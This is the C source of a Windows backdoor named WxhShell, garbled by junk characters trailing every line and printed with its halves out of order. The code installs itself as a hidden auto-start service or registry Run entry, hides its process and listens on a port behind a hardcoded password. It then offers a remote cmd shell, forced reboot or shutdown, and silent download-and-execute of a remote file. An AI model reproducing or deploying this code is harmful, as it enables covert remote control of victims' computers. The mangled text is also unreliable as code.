    if(Boot(SHUTDOWN)) /wPW2<|"X.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6^sH3=#  
    else { ,FK.8c6g  
    closesocket(wsh); EQVa8xt/C  
    ExitThread(0); &W{< Yf9  
    } S#b)RpY  
    break; 'B;n&tJ   
    } $QnsP#ePN  
  // 获取shell YM&i  
  case 's': { xp F(de  
    CmdShell(wsh); 3XIL; 5  
    closesocket(wsh); C#@-uo2  
    ExitThread(0); ^[.Z~>3!\q  
    break; u,JUMH]@  
  } 6T6UIq  
  // 退出 w ,-4A o2x  
  case 'x': { NL-V",gI-~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J]5ZWo%  
    CloseIt(wsh); ,!QtViA7  
    break; /pL'G`  
    } 'iX y?l  
  // 离开 @}io K=A  
  case 'q': { oC}2 Z{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .RpWE.C  
    closesocket(wsh); nq:'jdY5|  
    WSACleanup(); ;{1  ws  
    exit(1); 59H~qE1Md  
    break; N=j$~,yG  
        } T\ [CQO  
  } br')%f}m  
  } a)' P/P  
\xKhbpO~  
  // 提示信息  QB#_Wn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y3ST0=>j}  
} U nS|""  
  } J~}i}|YC>  
dMK\ y4#i  
  return; p7Z/%~0v:  
} CcZM0  
X nB-1{a1  
// shell模块句柄  g^))  
int CmdShell(SOCKET sock) iCy$ rC  
{ ,S?M;n?z_  
STARTUPINFO si; s1J( -O  
ZeroMemory(&si,sizeof(si)); i2!0bY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2XrYm"6w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {2LG$x-N%  
PROCESS_INFORMATION ProcessInfo; IZ@M K  
char cmdline[]="cmd"; @@& ? ,3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d5'4RYfkQ  
  return 0; +TN*6V{D  
} 8u"HW~~=  
\9 k3;zw  
// 自身启动模式 g2 tM!IRQ  
int StartFromService(void) ?>q5Abp[  
{ F6Q nz8|  
typedef struct [_HOD^  
{ cG!dMab(  
  DWORD ExitStatus; Nc*z?0wP  
  DWORD PebBaseAddress; pDt45   
  DWORD AffinityMask; vP^V3  
  DWORD BasePriority; -+W E9  
  ULONG UniqueProcessId; V1\Rj0#G  
  ULONG InheritedFromUniqueProcessId; s} oD?h:T3  
}   PROCESS_BASIC_INFORMATION; }^azj>p5  
ddEV@2F  
PROCNTQSIP NtQueryInformationProcess; }Io5&ww:U  
[E0.4FLT!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h"dn:5G:=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j# n  
ft?c&h;At  
  HANDLE             hProcess; L/)Q1Mm  
  PROCESS_BASIC_INFORMATION pbi; *mkL>v &  
-EG=}uT['b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !BN@cc[%  
  if(NULL == hInst ) return 0; B>%;"OMp  
7%5EBH &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >njX=r.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %VS+?4ww  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0xc|Wn>  
vvF]g.,  
  if (!NtQueryInformationProcess) return 0; Ag} P  
U3|9a8^H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); la>H&  
  if(!hProcess) return 0; WT:ZT$W  
G.>Ul)O:a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EU.!/'<  
U&gI_z[  
  CloseHandle(hProcess); (1Klj+"p%  
F_~A8y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .DHQJ|J-1  
if(hProcess==NULL) return 0; $J*lD -h-  
Uwg*kJ3H  
HMODULE hMod; B[fbPrM  
char procName[255]; f}7/UGd  
unsigned long cbNeeded; $tDM U3,W  
lbMok/a2o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0+Q; a  
"8/BVW^bv  
  CloseHandle(hProcess); &S8,-~U  
[!U! Z'i  
if(strstr(procName,"services")) return 1; // 以服务启动 r\$`e7d}!  
Wx|De7*  
  return 0; // 注册表启动 f'O cW* t  
} ?4#wVzuzA  
bCV_jR+  
// 主模块 S%3&Y3S  
int StartWxhshell(LPSTR lpCmdLine) a$$aM2.2  
{ O8/r-?4.  
  SOCKET wsl; h}=  
BOOL val=TRUE; =L*-2cE6#  
  int port=0; d t^Hd]+^\  
  struct sockaddr_in door; D(#6H~QN%  
\  `|  
  if(wscfg.ws_autoins) Install(); U$LI~XZM  
4f'!,Q ;  
port=atoi(lpCmdLine); rtz  ]PH  
]:~z#k|2@6  
if(port<=0) port=wscfg.ws_port; ^ >#@qMw  
wLy:S.r  
  WSADATA data; YB3 76/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x57O.WdN  
N[kl3h%q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   op61-:q/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k<y~n*{_  
  door.sin_family = AF_INET; afd.v$63  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EXti  
  door.sin_port = htons(port); +.McC$!s  
+<fT\Oq#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ),5A&qT*  
closesocket(wsl); AU<A\  
return 1; Bs^p!4=  
} NGmXF_kqN  
R/l/GNm  
  if(listen(wsl,2) == INVALID_SOCKET) { &<t`EI];)4  
closesocket(wsl); i&0Zli  
return 1; 34 I Cn~  
} p_CCKU  
  Wxhshell(wsl); 8}?w %FsN#  
  WSACleanup(); D;6C2>U~L  
N'YQ6U  
return 0; ]~4*ak=)5\  
! l"*DR  
} lKV7IoJ&;  
o_cAelI[!  
// 以NT服务方式启动 U9"Ij}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =4K:l}}  
{ /@0  
DWORD   status = 0; UD^=@?^7  
  DWORD   specificError = 0xfffffff; Xw&vi\*m  
Vs(D(d,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /l;_ xs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R_b)2FU1y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :a_MT  
  serviceStatus.dwWin32ExitCode     = 0; vWjHHw  
  serviceStatus.dwServiceSpecificExitCode = 0; 8" (j_~;  
  serviceStatus.dwCheckPoint       = 0; sn8r`59C  
  serviceStatus.dwWaitHint       = 0; yXBWu=w3`O  
=Q4Wr0y><]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r=<1*u  
  if (hServiceStatusHandle==0) return; wN:vI(C  
PKYm{wO-  
status = GetLastError(); I?CfdI  
  if (status!=NO_ERROR) Aq_?8Cd  
{ bDnT><eH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a@m  64l)  
    serviceStatus.dwCheckPoint       = 0; OhTd>~R`<  
    serviceStatus.dwWaitHint       = 0; #-kx$(''V  
    serviceStatus.dwWin32ExitCode     = status; L<p.2[3  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;ApldoMi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fT5vO.a  
    return; @Op7OFY%  
  } l|fb;Giq=D  
3#Xv))w1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _cd=PZhI  
  serviceStatus.dwCheckPoint       = 0; h&x;#.SYK  
  serviceStatus.dwWaitHint       = 0; 2cko GafG{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }a!c  
} ;2'/rEq4o  
K'b #}N\  
// 处理NT服务事件,比如:启动、停止 a 9Kws[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F\-oZ#g  
{ 5wb R}`8  
switch(fdwControl) %APeQy"6#^  
{ 4']eJ==OH  
case SERVICE_CONTROL_STOP: 3($tD*!o  
  serviceStatus.dwWin32ExitCode = 0; sDjbvC0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XT{ukEvDR  
  serviceStatus.dwCheckPoint   = 0; 8HL8)G6  
  serviceStatus.dwWaitHint     = 0; p s_o:*$l  
  { pW-aX)\DR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W&e}*  
  } $pj;CoPm  
  return; OVEQ^\Q5D  
case SERVICE_CONTROL_PAUSE: 1j+RXb\<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q!<n\X3]u  
  break; 6dKJt  
case SERVICE_CONTROL_CONTINUE: DVw 04ay%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D4PjE@D"H  
  break; ML:H\  
case SERVICE_CONTROL_INTERROGATE: #* Iyvx  
  break; b21@iW  
}; 5KL??ao-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (`&E^t  
} ,XsBm+Q(  
1U8/.x|  
// 标准应用程序主函数 sYd)r%%AU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @c;:D`\p1C  
{ B=|m._OL]n  
oe{,-<yck  
// 获取操作系统版本 H+ 7Fw'u  
OsIsNt=GetOsVer(); uex([;y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oC|']r6  
SD]rYIu+  
  // 从命令行安装 !^qpV7./l  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rz=wInFs  
PPj%.i)  
  // 下载执行文件 ;oVFcZSA  
if(wscfg.ws_downexe) { G>S3?jGk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AO]1`b:  
  WinExec(wscfg.ws_filenam,SW_HIDE); U_@Dn[/:  
} 5.F/>?<  
b}Wm-]|+  
if(!OsIsNt) { AQgm]ex<  
// 如果时win9x,隐藏进程并且设置为注册表启动 %VwkYAgA  
HideProc(); U9x6\Iy  
StartWxhshell(lpCmdLine); aa/_:V@$~  
} PG3,MCf:  
else pRFlmg@/}  
  if(StartFromService()) @hOT< Uo  
  // 以服务方式启动 "T' QbK0  
  StartServiceCtrlDispatcher(DispatchTable); ]ujXPK=t  
else Lo5CVlK  
  // 普通方式启动 :KBy(}V  
  StartWxhshell(lpCmdLine); 2;`WI:nt  
\OK"r-IO  
return 0; v6O5n(5,,  
} l#rr--];  
X?n($z/ {  
!_+ok$"d  
]s}9-!{O  
=========================================== {i/7Nx  
O*m9qF<  
eD0|6P;Ei  
s+6tdBvzs  
;6{{hc4  
FUs57 V  
" p%-m" u  
cD]#6PFA  
#include <stdio.h> i#(+Kxr]>  
#include <string.h> `2@f=$B  
#include <windows.h> aHBM9%gV  
#include <winsock2.h> 5 IFc"  
#include <winsvc.h> gCv[AIE_m  
#include <urlmon.h> ?HP{>l0r  
tW"s^r=95  
#pragma comment (lib, "Ws2_32.lib") Gu# wH  
#pragma comment (lib, "urlmon.lib") 17yg ~  
QA# 7T3|  
#define MAX_USER   100 // 最大客户端连接数 Dj x[3['  
#define BUF_SOCK   200 // sock buffer x)-n[Fu  
#define KEY_BUFF   255 // 输入 buffer CzG/=#IU  
?/^{sW' |  
#define REBOOT     0   // 重启 {|R +|ow  
#define SHUTDOWN   1   // 关机 'Jl3%axR  
tS6r4d%~=  
#define DEF_PORT   5000 // 监听端口 c{wob%!>  
eNFZD1mS  
#define REG_LEN     16   // 注册表键长度 s|-g)  
#define SVC_LEN     80   // NT服务名长度 ~  ve  
*KDwl<^A  
// 从dll定义API ZG1 {"J/z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \v p^[,SI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )C%S`d<%,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wo_iCjmK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s^ K:cz  
89a`WV@}  
// wxhshell配置信息 <M M(Z  
struct WSCFG { RbJbVFz8C  
  int ws_port;         // 监听端口 Zie t-@}  
  char ws_passstr[REG_LEN]; // 口令 MFs W  
  int ws_autoins;       // 安装标记, 1=yes 0=no a\Dw*h?b~  
  char ws_regname[REG_LEN]; // 注册表键名 +3o 4KB}  
  char ws_svcname[REG_LEN]; // 服务名 mM-7 j z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NA9ss  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -SKcS#IF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A:,R.P>`C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |5me }!C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WZ^u%Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KhPDkD-  
 ){xMMQ5  
}; H?)?(t7@  
Mx=L lC)  
// default Wxhshell configuration }BLT2]y0  
struct WSCFG wscfg={DEF_PORT, Oy~X@A  
    "xuhuanlingzhe", .$s=E8fW  
    1, =pn(56  
    "Wxhshell", U$T (R2@  
    "Wxhshell", D]WU,a[$Bc  
            "WxhShell Service", x).`nZ1  
    "Wrsky Windows CmdShell Service", 6cbIs_ g  
    "Please Input Your Password: ", yNN_}9  
  1, PZSi}j/  
  "http://www.wrsky.com/wxhshell.exe", i`" L?3T  
  "Wxhshell.exe" X1\ao[t<;c  
    }; # {|F2AM  
I>45xVA  
// 消息定义模块 mY/x|)MmM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h/\/dp/tt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5'"l0EuD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =.f<"P51k  
char *msg_ws_ext="\n\rExit."; L6"?p-:@'  
char *msg_ws_end="\n\rQuit."; & *!) d"  
char *msg_ws_boot="\n\rReboot..."; n]J;BW& Av  
char *msg_ws_poff="\n\rShutdown..."; 7g&<ZZo  
char *msg_ws_down="\n\rSave to "; j!hdi-aTU  
`#>JRQ=  
char *msg_ws_err="\n\rErr!"; C}cYG  
char *msg_ws_ok="\n\rOK!";  \%/zf  
=@ "'aCU/  
char ExeFile[MAX_PATH]; e*jfxQ=qG  
int nUser = 0; n%}Vd `c  
HANDLE handles[MAX_USER]; qjVhBu7A  
int OsIsNt; &Un^ _M  
xgv&M:%D-  
SERVICE_STATUS       serviceStatus; oM)4""|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `KzNBH,W  
D-4\AzIb  
// 函数声明 ro*$OLc/  
int Install(void); o9L$B  
int Uninstall(void); Xw{Qktn  
int DownloadFile(char *sURL, SOCKET wsh); O5?3 nYHa  
int Boot(int flag); %!QY:[   
void HideProc(void); )Qx&m}  
int GetOsVer(void); JBvP {5  
int Wxhshell(SOCKET wsl); `]\:%+-  
void TalkWithClient(void *cs); 8nOent0a  
int CmdShell(SOCKET sock); ctWH?b/ua  
int StartFromService(void); 8f{;oO  
int StartWxhshell(LPSTR lpCmdLine); F~${L+^  
\,G7nT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ejI nJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o5 |P5h  
3QO*1P@q  
// 数据结构和表定义 TWAt)Q"J  
SERVICE_TABLE_ENTRY DispatchTable[] = GK-__Y.  
{ g$$j:U*-  
{wscfg.ws_svcname, NTServiceMain}, /E0/)@pDq  
{NULL, NULL} qLh[BR  
}; rytaC(  
H@!kgaNF  
// 自我安装 Wo8.tu-2  
int Install(void) 'Xw> ?[BB  
{ ]^ "BLbDZ@  
  char svExeFile[MAX_PATH]; v05B7^1@_  
  HKEY key; Th[Gu8b3  
  strcpy(svExeFile,ExeFile); NA9N#;  
)+xHv  
// 如果是win9x系统,修改注册表设为自启动 q'~F6$kv5  
if(!OsIsNt) { q&N1| f7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^RO_B}n3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wSP'pM{#2  
  RegCloseKey(key); U6Ws#e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gm}[`GMU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /~B \1  
  RegCloseKey(key); It8m]FN  
  return 0; mbh;oX+  
    } $2+(|VG4F  
  } #X?#v7i",D  
} C~#ndl Ij  
else { 4+j:]poYG{  
cf ~TVa)M  
// 如果是NT以上系统,安装为系统服务 ;'g.%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {s/u [T_D2  
if (schSCManager!=0) C].w)B  
{ Xs7xZ$  
  SC_HANDLE schService = CreateService fPLi8`r  
  ( K4>nBvZ?v  
  schSCManager, .qjdi`v  
  wscfg.ws_svcname, iYHC a }  
  wscfg.ws_svcdisp, Kgw_c:/'  
  SERVICE_ALL_ACCESS,  %SSBXWP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4RYvI!  
  SERVICE_AUTO_START, f-b#F2I  
  SERVICE_ERROR_NORMAL, |w7D&p$  
  svExeFile, wX!>&Gc.  
  NULL, +f- E8q  
  NULL, Sx^4Y\\  
  NULL, '5BM*4,:O  
  NULL, =u^{Jvl[  
  NULL WOaj_o  
  ); NEG&zf  
  if (schService!=0) +W-,74A  
  { ?()$imb*  
  CloseServiceHandle(schService); -WX{ y Ci  
  CloseServiceHandle(schSCManager); 3S_H hvB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _x ;fTW0  
  strcat(svExeFile,wscfg.ws_svcname); b=-LQkcZhK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { etHkyF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +@c-:\K%  
  RegCloseKey(key); V.k2t$@  
  return 0; ,{_;q:  
    } uI*2}Q   
  } U;Ne"Jh  
  CloseServiceHandle(schSCManager); ^s=p'&6  
} ^%:syg_RM[  
} lx!9KQAM*  
KASw3!.W  
return 1; \HsrUZ~  
} s[HQq;S  
R#QcQx  
// 自我卸载 vid(^2+  
int Uninstall(void) }N6r/ VtOQ  
{ (Z72 3)  
  HKEY key; 4Nx]*\\  
DY~zi  
if(!OsIsNt) { w[V71Iej  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gqi|k6V/  
  RegDeleteValue(key,wscfg.ws_regname); \?X'U:  
  RegCloseKey(key); NpIx\\d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !]-ET7  
  RegDeleteValue(key,wscfg.ws_regname);  HSR^R  
  RegCloseKey(key); uWSfr(loX  
  return 0; lVmm`q6n9  
  } 0R0j7\{  
} 6*:mc  
} X!w&ib-  
else { 07?|"c.  
[MkXQwY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6_w;dnVA  
if (schSCManager!=0) nd 5w|83  
{ G2{.Ew  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <CJ`A5N  
  if (schService!=0) BP7&w d  
  { 4X5Tyv(Dp  
  if(DeleteService(schService)!=0) { dt efDsK  
  CloseServiceHandle(schService); dIUg e`O9  
  CloseServiceHandle(schSCManager); MJ )aY2  
  return 0; 9mT;> mE  
  } ]} + NT  
  CloseServiceHandle(schService); -0{"QhdE%  
  } . >{.!a  
  CloseServiceHandle(schSCManager); U6pG  
} 1gZW~6a}  
} >J \}&!8,  
Y`x54_32  
return 1; 0{Kb1Ut  
} Vf'r6Rf  
Xyrf$R'  
// 从指定url下载文件 ftqi>^i  
int DownloadFile(char *sURL, SOCKET wsh) b\U p(]  
{ f~LM-7!zf}  
  HRESULT hr; A;4O,p@   
char seps[]= "/"; 6S~l gH:  
char *token; BpGK`0H  
char *file; qOV6Kh)  
char myURL[MAX_PATH]; $ +`   
char myFILE[MAX_PATH]; v/4Bt2J  
TzCNY@y  
strcpy(myURL,sURL); {=Y.Z1E:  
  token=strtok(myURL,seps); .mse.$TK.^  
  while(token!=NULL) pV3o\bk!  
  { ^E5[~C*o3  
    file=token; Vko1{$}t  
  token=strtok(NULL,seps); )T=cd   
  } Rw54`_kFEB  
c&Mci"n j0  
GetCurrentDirectory(MAX_PATH,myFILE); (mOUbO8  
strcat(myFILE, "\\"); 5F8sigr/h  
strcat(myFILE, file); R9/(z\'}  
  send(wsh,myFILE,strlen(myFILE),0); O=HT3gp&  
send(wsh,"...",3,0); Z"# /,?|3@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N* C"+2  
  if(hr==S_OK) \s.c.c*eh;  
return 0; BtyBZ8P;e  
else SLa\F  
return 1; @ y (9LSs  
O~r.sJ}  
} J&xH "U  
2VNMz[W'  
// 系统电源模块 \&&jzU2  
int Boot(int flag) nJ.<yrzi  
{ *}t,:N;i  
  HANDLE hToken; fR=B/`  
  TOKEN_PRIVILEGES tkp; L y!!+UM\  
QT;mCD=OD  
  if(OsIsNt) { v.08,P{b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vKzq7E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >taC_f06  
    tkp.PrivilegeCount = 1; Ol,Tw=?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .@Z-<P"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;xnJ+$//U  
if(flag==REBOOT) { !$:lv)y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  $)5F3 a|  
  return 0; {%S>!RA  
} "]%.%$  
else { g,5r)FU`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F8\nAX  
  return 0; B rGaCja  
} W2F %E  
  } A=7  [^I2  
  else { Zhl}X!:c?\  
if(flag==REBOOT) { -?A,N,nnX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g4BEo'  
  return 0; N5ityJIgQ  
} D Hkmn  
else { MCOz-8@|Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I/ pv0  
  return 0; x"@Y[  
} A9_)}  
} F[Dhj,C"  
t7rz]EN  
return 1; GW_@hYIqD  
} SBBDlr^P  
kKV`9&dZe  
// win9x进程隐藏模块 c=U1/=R5  
void HideProc(void) sLE@Cm]k  
{ =?U"#a  
dMAd-q5{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p{knQ],   
  if ( hKernel != NULL ) b(lC7Xm  
  { 9/rX%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tL?nO#Qx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0jY#,t?>  
    FreeLibrary(hKernel); [p%@ pV  
  } *(PQaXx4  
 g?qh  
return; . Q3GA0O  
} %Lec\(-4L  
Mf0XQ3n`H  
// 获取操作系统版本 fqaysy  
int GetOsVer(void) D2$"!7O1H  
{ u:+wuyu  
  OSVERSIONINFO winfo; T&_!AjH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZyBNo]  
  GetVersionEx(&winfo); YYrXLt:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8y!d^EQ  
  return 1; 4%Q8>mEvT  
  else p)d0ZAs  
  return 0; $:I~y| !1  
} .6Swc?  
P 0xInW F  
// 客户端句柄模块 \29a@6  
int Wxhshell(SOCKET wsl) >;S/$  
{ a}3sG_(Y  
  SOCKET wsh; )NeI]p  
  struct sockaddr_in client; r>N5 ^  
  DWORD myID; ;m{*iKL6{  
k^3|A3A  
  while(nUser<MAX_USER) wv>uT{g#  
{ krkRP%jy  
  int nSize=sizeof(client); >|jSd2_p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d[+xLa  
  if(wsh==INVALID_SOCKET) return 1; -(FVTWi0  
|I7-7d-; /  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vpOn0([hS  
if(handles[nUser]==0) )Yvf9dl  
  closesocket(wsh); ' bio: 1  
else OczVObbS  
  nUser++; | fAt[e_E  
  } FHVZ/ e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,fQc0gM=[  
/esSM~*H  
  return 0; jIx5_lFe  
} K8y/U(@|D  
0Zkb}F2-  
// 关闭 socket Ug=8:a(U.  
void CloseIt(SOCKET wsh) <>,V> k|  
{ cDMA#gp  
closesocket(wsh); 9.R)iA  
nUser--; 24_F`" :-=  
ExitThread(0); (KaP=t}  
} S/CT;M@W  
_K{hq<g  
// 客户端请求句柄 "=I ioY  
void TalkWithClient(void *cs) o.DT`L8  
{ L*tn>AO  
&) 7umdSgi  
  SOCKET wsh=(SOCKET)cs; s$e0;C!D  
  char pwd[SVC_LEN]; U@v=q9'W  
  char cmd[KEY_BUFF]; Rt{qbM|b&  
char chr[1]; dxlaoyv:  
int i,j; ^YzFEu$  
n|F$qV_p\  
  while (nUser < MAX_USER) { V2kNJwwk  
SesJg~8  
if(wscfg.ws_passstr) {  Ex35  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); afRUBjs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F,^Q'$ !  
  //ZeroMemory(pwd,KEY_BUFF); H XF5fs  
      i=0; 9aT#7B  
  while(i<SVC_LEN) { '7}s25[{\  
)`]w\s #  
  // 设置超时 8Z%C7 "4O  
  fd_set FdRead; NZ`W`#{  
  struct timeval TimeOut; xfw)0S  
  FD_ZERO(&FdRead); 'S<ebwRd=  
  FD_SET(wsh,&FdRead); n'ft@7>%h  
  TimeOut.tv_sec=8; rk W*C'2fz  
  TimeOut.tv_usec=0; M H }4F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A<.`HCv2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jvn:W{'Q  
A][\L[8X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U]Q2EL\%  
  pwd=chr[0]; ipfiarT~)  
  if(chr[0]==0xd || chr[0]==0xa) { <\@JbL*  
  pwd=0; OpmI" 4{+  
  break; Jla ;^X  
  } b 8v?@s~  
  i++; qCOe,$\1/  
    } C#X|U2$  
GYYk3\r  
  // 如果是非法用户,关闭 socket 'l2'%@E>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dC;@ Fn  
} T:S+P t~  
5'gV_U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lil1$K: i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |RX u O  
F n4i[|W42  
while(1) { H `Fe |6I&  
rmutw~nHD  
  ZeroMemory(cmd,KEY_BUFF); !u@e^J{Ao  
e>1z1Q;_uv  
      // 自动支持客户端 telnet标准   I?@9;0R  
  j=0; 5F$ elW  
  while(j<KEY_BUFF) { GMRw+z4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %gDMz7$~  
  cmd[j]=chr[0]; he;;p="!*  
  if(chr[0]==0xa || chr[0]==0xd) { ~7T]l1]W%  
  cmd[j]=0; W\gu"g`u  
  break; ^0ZabR'  
  } k2muHKBlk  
  j++; K"-.K]O8E%  
    } `~QS3zq  
J< BBM.^]  
  // 下载文件 hrPm$`  
  if(strstr(cmd,"http://")) { sEq_K#n{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 85YE6^y  
  if(DownloadFile(cmd,wsh)) $5T3JOFz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qp~O!9ph  
  else , }O>,AU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  U=MFNp+  
  } ~itrM3^"w  
  else { ;QQLYT  
<rV3(qb#]J  
    switch(cmd[0]) { 6VpT*,2d~  
  [f,; +Ze  
  // 帮助 > !k  
